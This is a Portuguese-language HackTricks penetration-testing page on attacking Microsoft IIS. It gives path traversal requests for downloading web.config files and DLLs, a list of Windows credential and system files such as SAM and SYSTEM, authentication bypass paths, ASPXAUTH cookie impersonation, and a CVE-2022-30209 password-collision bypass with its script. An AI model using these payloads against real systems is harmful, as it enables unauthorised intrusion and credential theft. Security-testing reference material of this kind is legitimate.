# IIS - Serviços de Informação na Internet
Aprenda hacking na AWS do zero ao herói com htARTE (HackTricks AWS Red Team Expert)!
Outras maneiras de apoiar o HackTricks:
* Se você deseja ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF**, verifique os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
* Adquira o [**swag oficial PEASS & HackTricks**](https://peass.creator-spring.com)
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Junte-se ao** 💬 [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-me** no **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
* **Compartilhe seus truques de hacking enviando PRs para os** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositórios do github.
Testar extensões de arquivo executáveis:
* asp
* aspx
* config
* php
## Divulgação de Endereço IP Interno
Em qualquer servidor IIS onde você obtenha um 302, você pode tentar remover o cabeçalho Host e usar HTTP/1.0 e dentro da resposta o cabeçalho Location pode apontar para o endereço IP interno:
```
nc -v domain.com 80
openssl s_client -connect domain.com:443
```
Resposta revelando o IP interno:
```
GET / HTTP/1.0
HTTP/1.1 302 Moved Temporarily
Cache-Control: no-cache
Pragma: no-cache
Location: https://192.168.5.237/owa/
Server: Microsoft-IIS/10.0
X-FEServer: NHEXCHANGE2016
```
## Executar arquivos .config
Você pode fazer upload de arquivos .config e usá-los para executar código. Uma maneira de fazer isso é anexar o código ao final do arquivo dentro de um comentário HTML: [Baixe o exemplo aqui](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Upload%20Insecure%20Files/Configuration%20IIS%20web.config/web.config)
Mais informações e técnicas para explorar essa vulnerabilidade [aqui](https://soroush.secproject.com/blog/2014/07/upload-a-web-config-file-for-fun-profit/)
## Bruteforce de Descoberta IIS
Baixe a lista que criei:
{% file src="../../.gitbook/assets/iisfinal.txt" %}
Foi criada mesclando o conteúdo das seguintes listas:
[https://raw.githubusercontent.com/danielmiessler/SecLists/master/Discovery/Web-Content/IIS.fuzz.txt](https://raw.githubusercontent.com/danielmiessler/SecLists/master/Discovery/Web-Content/IIS.fuzz.txt)\
[http://itdrafts.blogspot.com/2013/02/aspnetclient-folder-enumeration-and.html](http://itdrafts.blogspot.com/2013/02/aspnetclient-folder-enumeration-and.html)\
[https://github.com/digination/dirbuster-ng/blob/master/wordlists/vulns/iis.txt](https://github.com/digination/dirbuster-ng/blob/master/wordlists/vulns/iis.txt)\
[https://raw.githubusercontent.com/danielmiessler/SecLists/master/Discovery/Web-Content/SVNDigger/cat/Language/aspx.txt](https://raw.githubusercontent.com/danielmiessler/SecLists/master/Discovery/Web-Content/SVNDigger/cat/Language/aspx.txt)\
[https://raw.githubusercontent.com/danielmiessler/SecLists/master/Discovery/Web-Content/SVNDigger/cat/Language/asp.txt](https://raw.githubusercontent.com/danielmiessler/SecLists/master/Discovery/Web-Content/SVNDigger/cat/Language/asp.txt)\
[https://raw.githubusercontent.com/xmendez/wfuzz/master/wordlist/vulns/iis.txt](https://raw.githubusercontent.com/xmendez/wfuzz/master/wordlist/vulns/iis.txt)
Use sem adicionar nenhuma extensão, os arquivos que precisam dela já a possuem.
## Traversal de Caminho
### Vazamento de código fonte
Confira o artigo completo em: [https://blog.mindedsecurity.com/2018/10/from-path-traversal-to-source-code-in.html](https://blog.mindedsecurity.com/2018/10/from-path-traversal-to-source-code-in.html)
{% hint style="info" %}
Em resumo, existem vários arquivos web.config dentro das pastas da aplicação com referências a arquivos "**assemblyIdentity**" e "**namespaces**". Com essas informações, é possível saber **onde estão localizados os executáveis** e baixá-los.\
A partir dos **Dlls baixados**, também é possível encontrar **novos namespaces** nos quais você deve tentar acessar e obter o arquivo web.config para encontrar novos namespaces e assemblyIdentity.\
Além disso, os arquivos **connectionstrings.config** e **global.asax** podem conter informações interessantes.\
{% endhint %}
Nas aplicações **.Net MVC**, o arquivo **web.config** desempenha um papel crucial ao especificar cada arquivo binário nos quais a aplicação depende por meio das tags XML **"assemblyIdentity"**.
### **Explorando Arquivos Binários**
Um exemplo de acesso ao arquivo **web.config** é mostrado abaixo:
```markup
GET /download_page?id=..%2f..%2fweb.config HTTP/1.1
Host: example-mvc-application.minded
```
Este pedido revela várias configurações e dependências, tais como:
- Versão do **EntityFramework**
- **AppSettings** para páginas da web, validação de cliente e JavaScript
- Configurações do **System.web** para autenticação e tempo de execução
- Configurações de módulos do **System.webServer**
- Associações de montagem do **Runtime** para numerosas bibliotecas como **Microsoft.Owin**, **Newtonsoft.Json** e **System.Web.Mvc**
Essas configurações indicam que certos arquivos, como **/bin/WebGrease.dll**, estão localizados dentro da pasta /bin da aplicação.
### **Arquivos do Diretório Raiz**
Arquivos encontrados no diretório raiz, como **/global.asax** e **/connectionstrings.config** (que contém senhas sensíveis), são essenciais para a configuração e operação da aplicação.
### **Namespaces e Web.Config**
Aplicações MVC também definem arquivos **web.config** adicionais para namespaces específicos para evitar declarações repetitivas em cada arquivo, como demonstrado em um pedido para baixar outro **web.config**:
```markup
GET /download_page?id=..%2f..%2fViews/web.config HTTP/1.1
Host: example-mvc-application.minded
```
### **Baixando DLLs**
A menção de um namespace personalizado sugere a existência de uma DLL chamada "**WebApplication1**" presente no diretório /bin. Em seguida, é mostrada uma solicitação para baixar o **WebApplication1.dll**:
```markup
GET /download_page?id=..%2f..%2fbin/WebApplication1.dll HTTP/1.1
Host: example-mvc-application.minded
```
Isso sugere a presença de outros DLLs essenciais, como **System.Web.Mvc.dll** e **System.Web.Optimization.dll**, no diretório /bin.
Em um cenário onde um DLL importa um namespace chamado **WebApplication1.Areas.Minded**, um atacante pode inferir a existência de outros arquivos web.config em caminhos previsíveis, como **/nome-da-área/Views/**, contendo configurações específicas e referências a outros DLLs na pasta /bin. Por exemplo, uma solicitação para **/Minded/Views/web.config** pode revelar configurações e namespaces que indicam a presença de outro DLL, **WebApplication1.AdditionalFeatures.dll**.
### Arquivos comuns
De [aqui](https://www.absolomb.com/2018-01-26-Windows-Privilege-Escalation-Guide/)
```
C:\Apache\conf\httpd.conf
C:\Apache\logs\access.log
C:\Apache\logs\error.log
C:\Apache2\conf\httpd.conf
C:\Apache2\logs\access.log
C:\Apache2\logs\error.log
C:\Apache22\conf\httpd.conf
C:\Apache22\logs\access.log
C:\Apache22\logs\error.log
C:\Apache24\conf\httpd.conf
C:\Apache24\logs\access.log
C:\Apache24\logs\error.log
C:\Documents and Settings\Administrator\NTUser.dat
C:\php\php.ini
C:\php4\php.ini
C:\php5\php.ini
C:\php7\php.ini
C:\Program Files (x86)\Apache Group\Apache\conf\httpd.conf
C:\Program Files (x86)\Apache Group\Apache\logs\access.log
C:\Program Files (x86)\Apache Group\Apache\logs\error.log
C:\Program Files (x86)\Apache Group\Apache2\conf\httpd.conf
C:\Program Files (x86)\Apache Group\Apache2\logs\access.log
C:\Program Files (x86)\Apache Group\Apache2\logs\error.log
c:\Program Files (x86)\php\php.ini"
C:\Program Files\Apache Group\Apache\conf\httpd.conf
C:\Program Files\Apache Group\Apache\conf\logs\access.log
C:\Program Files\Apache Group\Apache\conf\logs\error.log
C:\Program Files\Apache Group\Apache2\conf\httpd.conf
C:\Program Files\Apache Group\Apache2\conf\logs\access.log
C:\Program Files\Apache Group\Apache2\conf\logs\error.log
C:\Program Files\FileZilla Server\FileZilla Server.xml
C:\Program Files\MySQL\my.cnf
C:\Program Files\MySQL\my.ini
C:\Program Files\MySQL\MySQL Server 5.0\my.cnf
C:\Program Files\MySQL\MySQL Server 5.0\my.ini
C:\Program Files\MySQL\MySQL Server 5.1\my.cnf
C:\Program Files\MySQL\MySQL Server 5.1\my.ini
C:\Program Files\MySQL\MySQL Server 5.5\my.cnf
C:\Program Files\MySQL\MySQL Server 5.5\my.ini
C:\Program Files\MySQL\MySQL Server 5.6\my.cnf
C:\Program Files\MySQL\MySQL Server 5.6\my.ini
C:\Program Files\MySQL\MySQL Server 5.7\my.cnf
C:\Program Files\MySQL\MySQL Server 5.7\my.ini
C:\Program Files\php\php.ini
C:\Users\Administrator\NTUser.dat
C:\Windows\debug\NetSetup.LOG
C:\Windows\Panther\Unattend\Unattended.xml
C:\Windows\Panther\Unattended.xml
C:\Windows\php.ini
C:\Windows\repair\SAM
C:\Windows\repair\system
C:\Windows\System32\config\AppEvent.evt
C:\Windows\System32\config\RegBack\SAM
C:\Windows\System32\config\RegBack\system
C:\Windows\System32\config\SAM
C:\Windows\System32\config\SecEvent.evt
C:\Windows\System32\config\SysEvent.evt
C:\Windows\System32\config\SYSTEM
C:\Windows\System32\drivers\etc\hosts
C:\Windows\System32\winevt\Logs\Application.evtx
C:\Windows\System32\winevt\Logs\Security.evtx
C:\Windows\System32\winevt\Logs\System.evtx
C:\Windows\win.ini
C:\xampp\apache\conf\extra\httpd-xampp.conf
C:\xampp\apache\conf\httpd.conf
C:\xampp\apache\logs\access.log
C:\xampp\apache\logs\error.log
C:\xampp\FileZillaFTP\FileZilla Server.xml
C:\xampp\MercuryMail\MERCURY.INI
C:\xampp\mysql\bin\my.ini
C:\xampp\php\php.ini
C:\xampp\security\webdav.htpasswd
C:\xampp\sendmail\sendmail.ini
C:\xampp\tomcat\conf\server.xml
```
## Erro 404 HTTPAPI 2.0
Se você encontrar um erro como o seguinte:
![](<../../.gitbook/assets/image (446) (1) (2) (2) (3) (3) (2) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (13).png>)
Isso significa que o servidor **não recebeu o nome de domínio correto** no cabeçalho Host.\
Para acessar a página da web, você pode verificar o **Certificado SSL** fornecido e talvez encontrar o nome do domínio/subdomínio lá. Se não estiver lá, pode ser necessário **forçar VHosts** até encontrar o correto.
## Vulnerabilidades antigas do IIS que valem a pena procurar
### Vulnerabilidade/Recurso do caractere til “\~” do Microsoft IIS - Divulgação de Nome Curto de Arquivo/Pasta
Você pode tentar **enumerar pastas e arquivos** dentro de cada pasta descoberta (mesmo que esteja exigindo Autenticação Básica) usando essa **técnica**.\
A principal limitação dessa técnica, se o servidor for vulnerável, é que **só pode encontrar até as primeiras 6 letras do nome de cada arquivo/pasta e as primeiras 3 letras da extensão** dos arquivos.
Você pode usar [https://github.com/irsdl/IIS-ShortName-Scanner](https://github.com/irsdl/IIS-ShortName-Scanner) para testar essa vulnerabilidade:`java -jar iis_shortname_scanner.jar 2 20 http://10.13.38.11/dev/dca66d38fd916317687e1390a420c3fc/db/`
![](<../../.gitbook/assets/image (183).png>)
Pesquisa original: [https://soroush.secproject.com/downloadable/microsoft\_iis\_tilde\_character\_vulnerability\_feature.pdf](https://soroush.secproject.com/downloadable/microsoft\_iis\_tilde\_character\_vulnerability\_feature.pdf)
Você também pode usar o **metasploit**: `use scanner/http/iis_shortname_scanner`
### Bypass de Autenticação Básica
**Burlar** uma autenticação básica (**IIS 7.5**) tentando acessar: `/admin:$i30:$INDEX_ALLOCATION/admin.php` ou `/admin::$INDEX_ALLOCATION/admin.php`
Você pode tentar **combinar** essa **vulnerabilidade** com a anterior para encontrar novas **pastas** e **burlar** a autenticação.
## Depuração habilitada do ASP.NET Trace.AXD
O ASP.NET inclui um modo de depuração e seu arquivo é chamado `trace.axd`.
Ele mantém um log muito detalhado de todas as solicitações feitas a uma aplicação ao longo do tempo.
Essas informações incluem IPs de clientes remotos, IDs de sessão, todos os cookies de solicitação e resposta, caminhos físicos, informações de código-fonte e potencialmente até nomes de usuário e senhas.
[https://www.rapid7.com/db/vulnerabilities/spider-asp-dot-net-trace-axd/](https://www.rapid7.com/db/vulnerabilities/spider-asp-dot-net-trace-axd/)
![Screenshot 2021-03-30 at 13 19 11](https://user-images.githubusercontent.com/31736688/112974448-2690b000-915b-11eb-896c-f41c27c44286.png)
## Cookie ASPXAUTH
ASPXAUTH usa as seguintes informações:
* **`validationKey`** (string): chave codificada em hexadecimal para uso na validação da assinatura.
* **`decryptionMethod`** (string): (padrão “AES”).
* **`decryptionIV`** (string): vetor de inicialização codificado em hexadecimal (padrão para um vetor de zeros).
* **`decryptionKey`** (string): chave codificada em hexadecimal para uso na descriptografia.
No entanto, algumas pessoas usarão os **valores padrão** desses parâmetros e usarão como **cookie o e-mail do usuário**. Portanto, se você encontrar um site usando a **mesma plataforma** que está usando o cookie ASPXAUTH e **criar um usuário com o e-mail do usuário que deseja se passar** no servidor sob ataque, você pode ser capaz de usar o **cookie do segundo servidor no primeiro** e se passar pelo usuário.\
Este ataque funcionou neste [**relato**](https://infosecwriteups.com/how-i-hacked-facebook-part-two-ffab96d57b19).
## Bypass de Autenticação do IIS com senhas em cache (CVE-2022-30209)
[Relatório completo aqui](https://blog.orange.tw/2022/08/lets-dance-in-the-cache-destabilizing-hash-table-on-microsoft-iis.html): Um bug no código **não verificava corretamente a senha fornecida pelo usuário**, então um atacante cujo **hash da senha atinge uma chave** que já está no **cache** poderá fazer login como esse usuário.
```python
# script for sanity check
> type test.py
def HashString(password):
j = 0
for c in map(ord, password):
j = c + (101*j)&0xffffffff
return j
assert HashString('test-for-CVE-2022-30209-auth-bypass') == HashString('ZeeiJT')
# before the successful login
> curl -I -su 'orange:ZeeiJT' 'http:///protected/' | findstr HTTP
HTTP/1.1 401 Unauthorized
# after the successful login
> curl -I -su 'orange:ZeeiJT' 'http:///protected/' | findstr HTTP
HTTP/1.1 200 OK
```
Aprenda hacking AWS do zero ao herói com htARTE (HackTricks AWS Red Team Expert)!
Outras maneiras de apoiar o HackTricks:
* Se você quiser ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF** Confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
* Adquira o [**swag oficial PEASS & HackTricks**](https://peass.creator-spring.com)
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Junte-se ao** 💬 [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-me** no **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
* **Compartilhe seus truques de hacking enviando PRs para os** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositórios do github.